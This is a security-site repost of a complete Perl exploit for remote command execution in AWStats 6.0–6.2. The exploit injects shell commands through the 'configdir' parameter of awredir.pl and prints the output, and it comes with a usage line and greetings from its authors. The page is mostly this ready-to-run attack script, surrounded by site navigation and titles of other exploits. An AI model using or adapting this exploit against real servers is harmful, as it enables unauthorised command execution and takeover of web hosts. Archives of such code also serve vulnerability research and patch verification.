首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
AWStats configdir Remote Command Execution Exploit 1#
来源:www.vfocus.net 作者:Thunder 发布时间:2005-01-26  

AWStats "configdir" Remote Command Execution Exploit

Related Advisory - KOTIK/ADV-2005-0032

#!/usr/bin/perl
#---GHC---------------------------------#
#Remote command execution exploit #
#Product: #
#Advanced Web Statistics 6.0 - 6.2 #
#URL:http://awstats.sourceforge.net #
#Greets & respects to our friends: #
#1dt.w0lf and all rst.void.ru #
#Special greets 2 d0G4 #
#& cr0n for link on bugtraq #
#---not-PRIVATE-already--------------#
# bug found by iDEFENSE #
# http://www.idefense.com/ #
# application/poi/display? #
# id=185&type=vulnerabilities #
# &flashstatus=true #
#-----------------------------------------#

use IO::Socket;
$banner = "
#################################################################
GHC 2005
Remote command execution exploit for:
Advanced Web Statistics 6.0 - 6.2
Usage:
>perl ./GHCaws.pl www.server.net /cgi-bin/awredir.pl \"uname -a\"
#################################################################
";

$bug_param = 'configdir';
$id_start = 'b_exp';
$id_exit = 'e_exp';
$id_print = 0;
$http_head = "\n\n";

sub Print_Report {
$str = $_[0];
if ($str =~ m/$id_exit/i) {
exit;
}
if ($str =~ m/$id_start/i) {
$str =~ s/$id_start//ig;
$id_print = 1;
}
if ($id_print == 1) {
print "$str";
}
}

sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
|| die "Error\n";
print $socket "GET $dir".'?'.$bug_param.'='."$expl HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
while ($report = <$socket>) {
&Print_Report("$report");
}
}


print "$banner";
if ($ARGV[0] && $ARGV[1] && $ARGV[2]) {
$server = $ARGV[0];
$dir = $ARGV[1];
$cmd = $ARGV[2]; }
else {
exit;
}

$expl = '|echo '.''.';echo '.$id_start.';'.$cmd.';echo '.$id_exit.';%00';
$expl =~ s/\W/"%".sprintf("%x",ord($&))/eg;
&ConnectServer;



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Search and Replace Compressed
·AWStats configdir Remote Comma
·最新Help ActiveX控件网页木马
·Berlios gpsd Remote Format Str
·Mac OS X 10.3 iSync 'mRouter'
·/usr/bin/trn Local Root Exploi
·Microsoft Internet Explorer .A
·Siteman <= 1.1.10 Remote Ad
·MacOSX <= 10.3.7 Input Vali
·Golden FTP Server v2.02b Remot
·fkey v0.0.2 Local File Accessi
·Gpsd remote format string expl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved